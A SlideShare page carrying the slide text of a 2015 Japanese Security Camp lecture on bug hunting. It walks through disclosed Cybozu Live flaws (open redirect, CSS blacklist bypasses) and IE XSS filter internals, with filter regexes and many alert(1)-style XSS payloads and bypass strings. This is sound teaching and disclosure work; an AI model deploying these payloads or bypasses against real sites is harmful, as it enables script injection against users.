Home
Explore
Submit Search
Upload
Login
Signup
Advertisement
Check these out next
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみた
LINE Corporation
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
Yoshiki Hayama
45分間で「ユーザー中心のものづくり」ができるまで詰め込む
Yoshiki Hayama
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
統計的係り受け解析入門
Yuya Unno
IT系エンジニアのためのプレゼンテーション入門
Masahito Zembutsu
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
暗号技術の実装と数学
MITSUNARI Shigeo
1
of
94
Top clipped slide
SecurityCamp2015「バグハンティング入門」
Aug. 17, 2015
•
0 likes
49 likes
×
Be the first to like this
Show More
•
31,577 views
views
×
Total views
0
On Slideshare
0
From embeds
0
Number of embeds
0
Download Now
Download to read offline
Report
Technology
セキュリティ・キャンプ全国大会2015の講義「バグハンティング入門」で使用したスライドです。
Masato Kinugawa
Follow
Advertisement
Advertisement
Advertisement
Recommended
バグハンターの哀しみ
Masato Kinugawa
47.8K views
•
59 slides
テスト文字列に「うんこ」と入れるな
Kentaro Matsui
149.2K views
•
16 slides
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
25.1K views
•
51 slides
正しいものを正しくつくる
toshihiro ichitani
35.1K views
•
66 slides
ユーザーインタビューするときは、どうやらゾンビのおでましさ
Yoshiki Hayama
8K views
•
76 slides
初心者向けCTFのWeb分野の強化法
kazkiti
14.9K views
•
38 slides
More Related Content
Slideshows for you
(20)
セキュリティ未経験だったけど入社1年目から Bug Bounty Program 運営に参加してみた
LINE Corporation
•
6.3K views
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
Yoshiki Hayama
•
51.5K views
45分間で「ユーザー中心のものづくり」ができるまで詰め込む
Yoshiki Hayama
•
48.9K views
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
•
95.4K views
統計的係り受け解析入門
Yuya Unno
•
22.7K views
IT系エンジニアのためのプレゼンテーション入門
Masahito Zembutsu
•
288.2K views
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
•
9K views
暗号技術の実装と数学
MITSUNARI Shigeo
•
9.3K views
XSS再入門
Hiroshi Tokumaru
•
88.3K views
「UXデザインとは」からはじめる「本流」のUXデザインはじめの一歩 | UXデザイン基礎セミナー 第1回
Yoshiki Hayama
•
25.4K views
目grep入門 +解説
murachue
•
87.3K views
katagaitai CTF勉強会 #5 Crypto
trmr
•
6.2K views
TDD のこころ
Takuto Wada
•
12.4K views
品質を加速させるために、テスターを増やす前から考えるべきQMファンネルの話(3D版)
Yasuharu Nishi
•
15.7K views
フリーでやろうぜ!セキュリティチェック!
zaki4649
•
64.6K views
とある診断員とSQLインジェクション
zaki4649
•
78.1K views
RSA暗号運用でやってはいけない n のこと #ssmjp
sonickun
•
55.9K views
フロー効率性とリソース効率性について #xpjug
Itsuki Kuroda
•
100.6K views
インフラエンジニアってなんでしたっけ(仮)
Akihiro Kuwano
•
102.3K views
20171005 告白に学ぶ http status code
Shinichi Takahashi
•
11K views
Similar to SecurityCamp2015「バグハンティング入門」
(20)
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
tobaru_yuta
•
569 views
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
CYBIRD Co.,Ltd.
•
294 views
Webアプリケーション脆弱性診断について
tobaru_yuta
•
704 views
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
グローバルセキュリティエキスパート株式会社(GSX)
•
276 views
正しく恐れるクラウドのセキュリティ
ymmt
•
14.2K views
網元起動隊 デジコミュ秋田
Kazunari Takeda
•
1.3K views
0325できる?どうやる!word pressのセキュリティ運用
真琴 平賀
•
793 views
2019 12-14 DIY WIDS IoTSecJP Version 6.0
Isaac Mathis
•
547 views
「教養としてのサイバーセキュリティ」講座
Riotaro OKADA
•
1.5K views
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
schoowebcampus
•
1.9K views
脆弱性もバグ、だからテストしよう DevSummiFukuoka
ichikaway
•
2.4K views
UXとCS(カスタマーサクセス)
Yukinori SAEKI
•
3.8K views
Mix Leap 0214 security
adachi tomohiro
•
155 views
投資会社から見た人工知能(Ai)の事業化トレンド
Osaka University
•
13.1K views
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
Masahito Zembutsu
•
9.5K views
2019 1117 security_jaws_toal_5min_slideshare
Shinichiro Kawano
•
662 views
WisePoint Shibboleth presentation at Oosaka
Katsumi Yamashita
•
854 views
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断研究会
•
1.9K views
Security measures
shusuke-ichikawa
•
185 views
Isc2 japan chapter発足LT
Haga Takeshi
•
1.4K views
Advertisement
More from Masato Kinugawa
(6)
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa
•
38.7K views
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
Masato Kinugawa
•
21K views
Bug-hunter's Sorrow
Masato Kinugawa
•
8.6K views
SecurityCamp2015「CVE-2015-4483解説」
Masato Kinugawa
•
12.3K views
いでよ、電卓!
Masato Kinugawa
•
16.2K views
見つけた脆弱性について(cybozu.com Security Challenge)
Masato Kinugawa
•
10.4K views
Recently uploaded
(20)
Windows ChatGPT Bing AI.pptx
Atomu Hidaka
•
7 views
Voyager: An Open-Ended Embodied Agent with Large Language Models
harmonylab
•
23 views
HTTPの仕組みについて
iPride Co., Ltd.
•
11 views
GitHub最新情報キャッチアップ 2023年6月
Kazumi IWANAGA
•
7 views
CDLEハッカソン2022参加報告.pdf
SHOIWA1
•
10 views
20230602_enebular_meetup_kitazaki_v1.pdf
Ayachika Kitazaki
•
40 views
【DL輪読会】TrOCR: Transformer-based Optical Character Recognition with Pre-traine...
Deep Learning JP
•
7 views
【DL輪読会】DINOv2: Learning Robust Visual Features without Supervision
Deep Learning JP
•
86 views
OIDC(OpenID Connect)について解説③
iPride Co., Ltd.
•
25 views
Transformerについて解説!!
Yosuke Horio
•
7 views
JSTQB_テストプロセスの概念モデル.pdf
akipii Oga
•
295 views
MC-800DMT intrusion detector manual
Vedard Security Alarm System Store
•
3 views
Forguncy製品概要.pptx
フォーガンシー
•
165 views
触感に関わる共感覚的表現と基本6感情の対応関係の検証
Matsushita Laboratory
•
22 views
《杨百翰大学毕业证|学位证书校内仿真版本》
d520dasw12
•
2 views
20230601_Visual_IoTLT_vol14_kitazaki_v1.pdf
Ayachika Kitazaki
•
73 views
【DL輪読会】Egocentric Video Task Translation (CVPR 2023 Highlight)
Deep Learning JP
•
95 views
Forguncy8 製品概要 202305.pptx
フォーガンシー
•
57 views
社内ソフトスキルを考える
infinite_loop
•
91 views
量子論.pdf
hiro150493
•
9 views
Advertisement
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015 バグハンティング入門 Masato Kinugawa
講師紹介 名前 Masato Kinugawa 好きな 脆弱性
XSS 職業 会社員・公務員・自営業・ 学生・無職・その他 好きな 休日の 過ごし方 脆弱性を探すこと
話すこと TARGET❶ サイボウズLive TARGET❷ XSSフィルター 脆弱性発見の発想をみていこう! 次のアプリや機能の実際のバグから
脆弱性報酬制度 脆弱性の報告に賞金を支払う制度 ソフトウェア製品で実施しているもの Chrome/Firefox/IDA Proなど Webアプリケーションで実施しているもの Google/Facebook/Twitter/GitHub/Dropboxなど
豆知識 小切手は換金手数料が高い
[注意] 一方で 善意の検査でも攻撃とみなされることもある ISPにインターネットを止められた人もいるらしい 検査するなら検査を歓迎しているところが無難 残念ながら国内で表明しているところはほとんどない 検査を歓迎している企業の一覧ページ https://hackerone.com/programs https://bugcrowd.com/list-of-bug-bounty-programs
サイボウズLive TARGET ❶
ハントするならサイボウズ! 賞金あり! 日本の企業で唯一報酬制度を実施(2015年8月現在) 検証環境で安心して検査できる 日本語で報告できる 丁寧に対応してくれる http://cybozu.co.jp/company/security/bug-bounty/ サイボウズの制度紹介ページ LINE Bug Bounty
(期間限定:2015年8月24日 ~ 9月23日) http://linecorp.com/ja/security/bugbounty/ ++追記++
過去に誰かにみつかった脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-243】SessionFixation 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-243】SessionFixation 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の ド ヤ 😥
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
発見のきっかけ 竹迫さんがサイボウズのオフィス周辺のお店をま とめたGoogle MapsのURLをLiveで教えてくれた その下に謎の空のiframeが出現! http://maps.google.com/maps/ms?msid=XXX イメージ図:
空のiframeが表示されるまで Google MapsのURLが張られると 自動でインライン展開する機能があった Liveは全てHTTPS化されているが、竹迫さんの張った http:から始まるMapsのURLをhttp:のままiframeへ 入れていた 混在コンテンツ(Mixed Content)として ブラウザがロードをブロック 空のiframeが表示!
試す 受け取るURLの判断が雑だからこんなことに なっていると予想 とりあえずマップっぽいURLを投稿してみよう https://maps.google.example.com/ あれ…
これは… 「maps.google」がホストにあればロードを開始 無関係のホストをiframeにロードできてしまう! https://maps.google.example.com/
考えられる影響 フィッシング 偽Google Mapsを埋め込んで操作させちゃう? top.location を書き換えることで、オープンリダ イレクト(相当)として利用 [注]
location は例外的に異なるオリジンからも操作できる クリックジャッキング (試していないが)Live内はX-Frame-Options:sameorigin が指定されているので、うまくやればできたかも?
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
こんなURLを発見 https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A %2F%2Fcybozulive.com%2Fideabox%2Flist
おおまかな挙動のチェック アクセスするとログイン画面へ そこからログインすると、redirectUrl に指定したURL にLocation: ヘッダでリダイレクト リダイレクト先に指定できるURLはcybozulive.com内に 制限しようとしている様子 https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A %2F%2Fcybozulive.com%2Fideabox%2Flist
詳しく制限をみる リダイレクトの様子をひたすらみる: https://cybozulive.com/AAA /AAA //cybozulive.com/AAA https://xxxcybozulive.com/AAA https://example.com/cybozulive.com/AAA https://example.comcybozulive.com/AAA https://example.com@cybozulive.com/ https://cybozulive.com/ideabox/loginDirect?redirectUrl=[HERE]
だませたもの( の扱い ) https://example.com@cybozulive.com/ IEやChromeでは: https://example.com/@cybozulive.com/ FirefoxではBasic認証情報の一部: 次のURLにアクセスするとどうなる? 外部のホストへリダイレクトしてしまう
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(コメント欄) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
コメントには機能がたくさん 投稿されるhttp(s)なURLをリンク化 レスをリンク( >>1 >1
のような文字から ) 一部のHTMLタグやスタイルの使用 外部サービスの自動インライン表示 YouTube slideshare Flickr 添付ファイルのインライン展開 画像、テキストファイルの表示 音声ファイルの再生 Vimeo Cacoo Google Maps(直前の問題の修正と共に廃止)
正しく動いてる? 組み合わせても正しく動く?
HTMLの要素/属性の制限 <a>a</a> <abbr>abbr</abbr> <acronym>acronym</acronym> <address>address</address> <applet>applet</applet> <area>area</area> <audioscope>audioscope</audioscope> <b>b</b> <base>base</base> <basefont>basefont</basefont> <bdo>bdo</bdo> <bgsound>bgsound</bgsound> <big>big</big> .... <a target="_blank" >a</a> <abbr
>abbr</abbr> <acronym >acronym</acronym> <address >address</address> applet area audioscope <strong >b</strong> base basefont <bdo >bdo</bdo> bgsound <big >big</big> .... ひたすらタグを投稿して使えるものを観察 投稿
リンクの制限 http: https: ftp: mailto: file: <a href="http://example.com/">Link</a> スキームは以下にリストしたものしか使えない telnet: gopher: news: wais: ?!
スタイル部分はブラックリスト expression behavior / behaviour moz-binding include-source url absolute fixed content javascript: vbscript: data: <p
style="AAA:AAA">test</p> 次の文字列を発見するとstyle属性ごと削除
スタイル部分、その他の処理 を削除 /* から */
までを削除 & を &に置換 <p style="x:a/**/bc&"> <p style="x: abc&;" > こんな風に 以下を投稿すると:
Liveが守りたいライン XSSは禁止(もちろん) Live内を閲覧しただけで任意のサイトへリクエ ストを発生させるようなものは禁止 要素/属性は安全なものをリストして許可 スタイル属性値は危険なものをリストして禁止 スクリプトの実行が可能なもの UIを著しく破壊するもの 任意のサイトへリクエストを発生させるもの これを破ればOK!
CSSの expression() CSSからJSを実行できるXSSer御用達機能 このおかげでCSS注入の危険が大きく上がる IEの古いドキュメントモード(<=IE7)で動作 IE11からはドキュメントモードにかかわらず動かない <p style="x:expression(alert(1))">
いろんなexpression() <p style=x:expression(alert(1))> <p style=x:expres/**/sion(alert(1))> <p
style=x:expr0065ssion(alert(1))> <p style=x:expression(alert(1))> http://www.atmarkit.co.jp/ait/articles/0906/04/news111_2.html 教科書に載らないWebアプリケーションセキュリティ(3): [柔軟すぎる]IEのCSS解釈で起こるXSS (2/3) - @IT 昔は全角文字でも動いた: <p style=x:expression(alert(1))>
【CyVDB-553】禁止文字列のバイパス❶ <p style="x:exp/*[0x0A]*/ression(alert(1))"> コメントの間に改行をはさむと コメントが除去されない!
【CyVDB-859】禁止文字列のバイパス❷ コメントの間にU+2028(またはU+2029)を はさむとコメントが除去されない! <p style="x:exp/*[U+2028]*/ression(alert(1))">
expression()のひどいパース これでアラートが動く 今回はコメントやを消すのでギリギリでセーフ <p style="a:a/**/ression(alert(1))('')exp')"> IE CSS解析问题可致新的XSS
Vectors http://wooyun.org/bugs/wooyun-2014-068564
【CyVDB-552】禁止の考慮漏れ❶ <a title="data:text/html, <script>alert(document.domain)</script>" style="-o-link:attr(title);-o-link-source:current" href="http://example.com/">Click</a> Opera 12.x系のみ使える-o-link CSSからリンクを設定できる
HTML5 Security Cheatsheet こうしたテクが一覧されているCheatsheet https://html5sec.org/
【CyVDB-954】禁止の考慮漏れ❷ <p style="filter:progid:DXImageTransform.Microsoft. AlphaImageLoader( src='https://example.com/', sizingMethod='scale')"
>ABC IE9モードまで動くAlphaImageLoaderフィルター url()という形ではなく、src=から 外部リクエストを発生させることができる
HTTPLeaks HTTPリクエストを発生させるような要素/属性 を一覧する @cure53berlin によるプロジェクト https://github.com/cure53/HTTPLeaks
現在のCSSのブラックリスト これで安心...?! expression behavior / behaviour moz-binding include-source url absolute fixed content 【NEW】-o-link 【NEW】AlphaImageLoader javascript: vbscript: data: <p
style="AAA:AAA">test</p>
ハントの秘訣 [ 細かいことを気にしよう ] 些細なバグや特徴的な挙動 いちいち悪用できないか考える 僕は小さな気付きをメモするようにしている あとで脆弱性に繋がると気付くことも
例えば、僕のメモ ftp:のURLで、存在しないディレクトリをスクリプトなど のリソースとしてよみこもうとするとダイアログがでる。 Firefoxのメモ( browser/firefox/bug.txt )
のNo41:
例えば、僕のメモ サイボウズLiveのメモ( bugbounty/cybozu/live.txt )
: https://cybozulive.com/common/transactionTokenJsonDirect {"name":"org.apache.struts.taglib.html.TOKEN","value":"[TOKEN]"} GETでJSON形式でtokenが返ってくる。 ただContent-DispositionとX-Content-Type-Optionsあり。
脆弱性を引き出すコツ[試す] とりあえず手を動かして試してみる いろんな文字を思いつく限り入力するだけでも気付き は得られる 読んだり考えたりするだけより身につく
脆弱性を引き出すコツ[列挙] 同じ性質のものを列挙しておくと便利 例えばHTMLタグ 例えばHTTPLeaks 例えば様々なフォーマットのファイル 例えばブラウザで利用可能な文字コード パーツがたくさんあればアイデアに幅が生まれる 一度列挙しておけば必要なときそこをみるだけ http://l0.cm/encodings/table/
☕ [Windowsの XSS
Tips] F5 を押す 日本語入力でUnicodeのコードポイントを入力 前半終了、ちょっとひといき
日本語入力でUnicodeのコードポイントを入力 😥 ド ヤ F5 を押す ☕
[Windowsの XSS Tips] 前半終了、ちょっとひといき
XSSフィルター TARGET ❷
ブラウザのXSS保護機能 XSS Auditor ChromeやSafariに搭載 XSSフィルター EdgeとIE(8から)に搭載 NoScript (ブラウザ標準ではないが)Firefoxのアドオン URLやPOSTデータの攻撃と疑わしい文字列に 反応し、ページを書き換えて攻撃を防止
遮断できる文脈をみる 典型的なXSSがある状況を作って遮断できるか確認 Reflected XSS(テキスト部/属性内/文字列リテラルの中) DOM based
XSS(document.write/innerHTML) Stored XSS
パターン1 Reflected XSS http://example.com/?q=<script>alert(1)</script> <html> <body> XSS
HERE: <script>alert(1)</script> </body> </html> IE 遮断 Auditor 遮断 NoScript 遮断
http://example.com/?q="onmouseover=alert(1)// <html> <body> <input name="q" value=""onmouseover=alert(1)//"> </body> </html> パターン2
属性内 IE 遮断 Auditor 遮断 NoScript 遮断
http://example.com/?q=javascript:alert(1) <html> <body> <a href="javascript:alert(1)">Click</a> </body> </html> パターン3 リンク部分 IE
遮断 Auditor スルー NoScript 遮断
http://example.com/?q=";alert(1)// <body> <script> var q="";alert(1)//"; </script> </body> パターン4 文字列リテラル IE
遮断 Auditor スルー NoScript 遮断
パターン5 DOM based
XSS - 1 http://example.com/#<img src=x onerror=alert(1)> <body> <script> document.write(location.hash); </script> </body> IE スルー Auditor 遮断 NoScript 遮断
パターン6 DOM based
XSS - 2 http://example.com/#<img src=x onerror=alert(1)> <body> <script> document.body.innerHTML=location.hash; </script> </body> IE スルー Auditor スルー NoScript 遮断
パターン7 Stored XSS http://sns.example.com/hasegawa/ ... <div
id="profile"> <script>alert(1)</script> </div> ... IE スルー Auditor スルー NoScript スルー
機能の限界 全てのXSSを止めることはできない 止められるのは攻撃のヒントのある典型的なパターン 誤検知は無くせない 意図的に起こすこともできる
XSSフィルターをもっと知る XSSフィルターの動作の詳細は文書化されてい ない どんな文字列が遮断対象なのか具体的にみる バイナリを観察 URLにあれこれ入力して試す 通過できたらそれは想定外のバイパスかも? 遮断方法にも注目する ここからはIEのXSSフィルターに絞ってみていこう!
バイナリもヒントになる C:WindowsSystem32mshtml.dll を エディタで開いてみると...
{<BUTTON[ /+t].*?va{l}ue[ /+t]*=} {<fo{r}m.*?>} {<TEXTA{R}EA[
/+t>]} {<is{i}ndex[ /+t>]} {<INPUT[ /+t].*?va{l}ue[ /+t]*=} {<OPTION[ /+t].*?va{l}ue[ /+t]*=} {[ /+t"'`]{o}nccc+?[ +t]*?=.} {<EM{B}ED[ /+t].*?((src)|(type)).*?=} {<[i]?f{r}ame.*?[ /+t]*?src[ /+t]*=} {<.*[:]vmlf{r}ame.*?[ /+t]*?src[ /+t]*=} {<LI{N}K[ /+t].*?href[ /+t]*=} {<[?]?im{p}ort[ /+t].*?implementation[ /+t]*=} {<ME{T}A[ /+t].*?((http-equiv)|(charset))[ /+t]*=} {["'].*?[{,].*(((v|(u0076)|(166)|(x76))[^a-z0-9]*({a}|(u00{6}1)|(1{4}1)|(x{6}1))[^a -z0-9]*(l|(u006C)|(154)|(x6C))[^a-z0-9]*(u|(u0075)|(165)|(x75))[^a-z0-9]*(e|(u 0065)|(145)|(x65))[^a-z0-9]*(O|(u004F)|(117)|(x4F))[^a-z0-9]*(f|(u0066)|(146) |(x66)))|((t|(u0074)|(164)|(x74))[^a-z0-9]*({o}|(u00{6}F)|(1{5}7)|(x{6}F))[^a-z0- 9]*(S|(u0053)|(123)|(x53))[^a-z0-9]*(t|(u0074)|(164)|(x74))[^a-z0-9]*(r|(u007 2)|(162)|(x72))[^a-z0-9]*(i|(u0069)|(151)|(x69))[^a-z0-9]*(n|(u006E)|(156)|( x6E))[^a-z0-9]*(g|(u0067)|(147)|(x67)))).*?:} "'{:, {<a.*?hr{e}f} {["'].*?{)}[ ]*(([^a-z0-9~_:'" ])|(in)).+?{(}} タグらしき文字列が、
{<sc{r}ipt.*?[ /+t]*?((src)|(xlink:href)|(href))[ /+t]*=} {<sc{r}ipt.*?>} {<AP{P}LET[
/+t>]} {<OB{J}ECT[ /+t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+t]*=} {<BA{S}E[ /+t].*?href[ /+t]*=} {[ /+t"'`]data{s}rc[ +t]*?=.} {<st{y}le.*?>.*?((@[i])|(([:=]|(&[#()[].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()[].]x?0* ((40)|(28)|(92)|(5C));?))))} {[ /+t"'`]st{y}le[ /+t]*?=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()[].] x?0*((40)|(28)|(92)|(5C));?))} {(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|( newline;))))*{(b|(&[#()[].]x?0*((66)|(42)|(98)|(62));?))}([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D );?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[].]x?0*(9|(13 )|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].] x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(52)|(114)|(72));?))([t]|( &(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69 ));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0*((80)|(50 )|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x? 0*((84)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:| (&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).} {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(n ewline;))))*(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);? )|(tab;)|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*(9|(13)| (10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x? いっぱい!
<html> <body> <input name="q" value="[XSS_HERE]"> </body> </html> 属性注入の遮断例 {[
/+t"'`]{o}nccc+?[ +t]*?=.} "onxxx=a "#nxxx=a イベントハンドラっぽい文字列を書き換え
危険なリンクの遮断 {(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*( 9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&[#()[].]x?0*((66)|(42) |(98)|(62));?))}([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(ne wline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#() [].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()[].]x?0* ((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|( tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(52)|(114)|(72));?))([t]| (&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[ ].]x?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0*((80)|(50)|(112)|(70)); ?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t |(&[#()[].]x?0*((84)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|( 13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*((58)|(3A) );?)|(colon;)))).} javascript:a vbscript:a vbs:a javasc#ipt:a v#script:a v#s:a
文字列リテラルの遮断 ()を使った関数呼び出し等は禁止 ";abc()// プロパティアクセス後の代入は禁止 ";a.b=// ";a["b"]=// プロパティアクセスの無い代入は許容 ";abc=// ただし一部の危険な代入は禁止 ";location=// 変形もNG: ";locu0061tion=// ";name=// ";onerror=// ";valueOf=// <script> var
q="[XSS_HERE]" </script>
遮断後 <script> var q="[XSS_HERE]" </script> ()を使った関数呼び出し等は禁止 ";abc##// プロパティアクセス後の代入は禁止 ";a#b=// ";a#"b"#=// プロパティアクセスの無い代入は許容 ";abc=// ただし一部の危険な代入は禁止 ";lo#ation=// 変形もNG:
";lo#u0061tion=// ";na#e=// ";on#rror=// ";va#ueOf=//
危険な代入の攻撃例 ";location='javascript:alert(1)'// ";name=document.cookie// ";onerror=eval;throw'alert(1)'// ";valueOf=alert;~window// (多分こんなかんじ?) 追記: element.click()等がcallできるようだ、検証ページ
バイパスに挑戦してみよう 状況次第ではバイパスも可能?! 想定解のある簡単な(?)問題を作ってみました IEのXSSフィルターをバイパスしてalert(1)を出そう! http://tinyurl.com/camp2015xss http://tinyurl.com/camp2015xss2
忘れ去られた機能でバイパス(2010) IE8 xss filter
bypass (xss过滤器绕过) http://www.wooyun.org/bugs/wooyun-2010-013883 <div id=x>a <xml:namespace prefix=t> <import namespace=t implementation=#default#time2> <t:set attributename=innerHTML targetElement=x to=<imgsrc=x:xonerror=alert(1)>> これがいま話題の HTML Imports...(違 {<[?]?im{p}ort[ /+t].*?implementation[ /+t]*=} 現在はフィルタ済:
追加された機能でバイパス(2015) Edgeから追加されたES6の文法を使ったバイ パスが既に指摘されている テンプレートリテラル ECMAScript 6 from
an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else / Mario Heiderich http://www.slideshare.net/x00mario/es6-en/34 ";alert`1`// ES6のユニコードエスケープ ";locu{61}tion=//
仕様を利用した自明なバイパス XSSフィルターは同一オリジンのリンクから開 始したリクエストを遮断対象としない これは誤検知を少しでも減らすための仕様と思われる 同一オリジンにリンクを作れるならバイパス可 つまり 例:サイボウズLiveにReflected XSSがあったなら..
この挙動を利用したバイパス Reflected XSS自身でReflected XSS実行用リンクを作る XSSフィルターの元担当者David曰く「この変更やめた方が良い」 https://twitter.com/randomdross/status/552949854591127552 余談: 現在は
"<a href" も遮断される: {<a.*?hr{e}f} <a href="?q=%3Cscript%3Ealert%281%29%3C/script%3E">XSS</a> http://example.com/xss?q=<a+href="?q=%253Cscript%253Ealert%25281%2529 %253C/script%253E">XSS</a> クリック 同一オリジンのリンクなのでXSSフィルターはスルー スクリプトが実行される
XSSフィルターでXSS(2010) かつて、遮断方法が適切でなかったため、 脆弱性がない部分からXSSを作れていた! Universal XSS via
IE8s XSS Filters / Eduardo Vela Nava & David Lindsay https://media.blackhat.com/bh-eu- 10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8- XSS-Filters-slides.pdf <img src="http://example.com/onerror=alert(1)//"> <img src#"http: example.com onerror=alert(1)//"> 遮断後
